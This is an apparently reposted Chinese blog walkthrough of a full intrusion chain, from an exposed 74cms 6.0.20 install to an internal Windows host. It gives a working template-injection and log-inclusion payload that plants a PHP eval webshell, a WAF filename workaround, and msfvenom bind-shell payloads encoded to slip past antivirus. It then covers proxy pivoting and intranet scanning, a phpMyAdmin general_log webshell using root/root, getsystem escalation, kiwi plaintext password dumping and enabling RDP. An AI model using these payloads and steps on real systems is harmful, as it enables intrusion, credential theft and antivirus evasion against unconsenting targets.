内网渗透-src挖掘-互联网打点到内网渗透-2023年2月

1、通过信息搜集,发现目标有一个互联网访问的骑士cms
在这里插入图片描述
2、发现该系统骑士cms版本为6.0.20,通过搜索,发现骑士cms < 6.0.48存在任意文件包含漏洞在这里插入图片描述

/Application/Common/Controller/BaseController.class.php 该文件的assign_resume_tpl函数因为过滤不严格,导致了模板注入,可以进行远程命令执行

3、复现该漏洞:
访问地址:

http://ip/index.php?m=home&a=assign_resume_tpl

添加如下post数据

variable=1&tpl=<?php fputs(fopen("tx.php","w"),"<?php eval(\$_POST[x]);?>")?>; ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/>

此时,系统会提示报错

在这里插入图片描述
此时在日志中会有一条结果:(文件名构成:年份+月份+日期.log
开始文件包含:

http://ip:81/index.php?m=home&a=assign_resume_tpl

POST部分:(注意包含的时候,要对应日期)

variable=1&tpl=data/Runtime/Logs/Home/23_02_10.log

在这里插入图片描述
此时在upload目录下已经存在了tx.php
由于系统有waf,文件名不能用shell.php,会被被拦截,要避免!
在这里插入图片描述
使用蚁剑连接http://ip:/81/tx.php,密码为x
在这里插入图片描述
4、msf上线
msf首先生成linux木马,因为宝塔存在宝塔,会干扰反向连接的木马,所以在这里生成的是一个正向木马
在这里插入图片描述
创建正向连接木马

msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=6677 -f elf > 6677.elf

在这里插入图片描述
上传至webshell,赋予权限,执行
在这里插入图片描述
msfconsole中执行

use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set RHOST xxx.xxx.xxx.xxx
set LPORT 6677
exploit

在这里插入图片描述
使用ifconfig,发现目标是双网卡
在这里插入图片描述
设置代理,添加路由:

添加路由
run post/multi/manage/autoroute
加代理
run auxiliary/server/socks_proxy

5、内网扫描
使用auxiliary/scanner/portscan/tcp模块进行主机存活扫描

use auxiliary/scanner/portscan/tcp
show options
set rhosts 10.0.20.0/24
set ports 21,22,23,80,443,8080,3389,445,3306,1433
exploit

或者使用proxifier直接代理,本机可直接访问到内网在这里插入图片描述
使用nmap进行扫描也可以,但是要注意,此时由于是用的socket连接,socket协议不支持icmp,所以nmap命令要用到

扫描二维码关注公众号,回复: 14627593 查看本文章
-sT -Pn

在这里插入图片描述
6、在这里看到开放了3306端口,那访问下试试看:
在这里插入图片描述
此时看到3306开放的服务是mysql。扫描下目录试试看:

dirsearch  -u http://10.0.20.133 --proxy socks5://127.0.0.1:1080

在这里插入图片描述
这里就可以看出来,这是一个phpstudy搭建的网站了,尝试访问:

http://10.0.20.133/phpMyAdmin/

在这里插入图片描述

发现有弱口令root/root,成功进入
在这里插入图片描述
7、通过phpmyadmin写日志getshell

查看日志情况
SHOW  VARIABLES  LIKE  '%general%'

在这里插入图片描述
因为默认是关闭的,所以先将 general_log 设置为on,执行

set global general_log=on;

在这里插入图片描述
再次查询,发现已打开
在这里插入图片描述
修改log文件的名称和位置

set global general_log_file='C:/phpstudy/PHPTutorial/www/vulntarget.php';

验证文件是否存在

http://10.0.20.133/vulntarget.php

在这里插入图片描述
写入一句话:

SELECT '<?php eval($_POST["vuln"]); ?>'

在这里插入图片描述
此时一句话木马已经在日志中打印出来了
使用蚁剑先添加sockets代理
在这里插入图片描述
蚁剑连接成功
在这里插入图片描述
8、内网提权
此时使用蚁剑whoami,查看用户权限为普通用户权限。
在这里插入图片描述
已经拿到了其中一个crow的权限,但是在这里我们想拿到system权限。使用tasklist /svc来查看有哪些杀毒软件:

tasklist /svc

查询:https://i.hacking8.com/tiquan/发现系统存在火绒防病毒软件。
在这里插入图片描述
做一个免杀上线msf:
免杀方法:https://mp.weixin.qq.com/s/PK53c-Fgay8-2i6co_a7GA

msfvenom -p windows/meterpreter/bind_tcp  -e x86/shikata_ga_nai -i 7 -b '\x00'  lport=1234  -f raw -o crowsec.jpg

新生成的文件和加载器通过蚁剑上传到win7中:
在这里插入图片描述
msf开启监听,木马直接运行:

use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 10.0.20.133
set lport 1234
exploit

可见获取了目标shell
在这里插入图片描述
提权测试:getsystem,提权成功
在这里插入图片描述
9、抓取密码

load kiwi

在这里插入图片描述

在这里发现当前没办法抓到密码,主要是因为上面生成的木马是32位的。(如果生成的木马是64位的,就没有这个问题)
getpid和ps查看一下进程:
在这里插入图片描述
在这里插入图片描述
那在这里将进程迁移到x64位上去:
migrate 504
在这里插入图片描述
注意迁移的时候,要迁移到system的user上。
在这里插入图片描述
再次执行命令,即可获取明文密码。

creds_all

在这里插入图片描述
得到用户名:crow 密码:admin
10、3389远程连接

run post/windows/manage/enable_rdp

在这里插入图片描述
配置代理之后,连接即可。
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/qq1140037586/article/details/128963044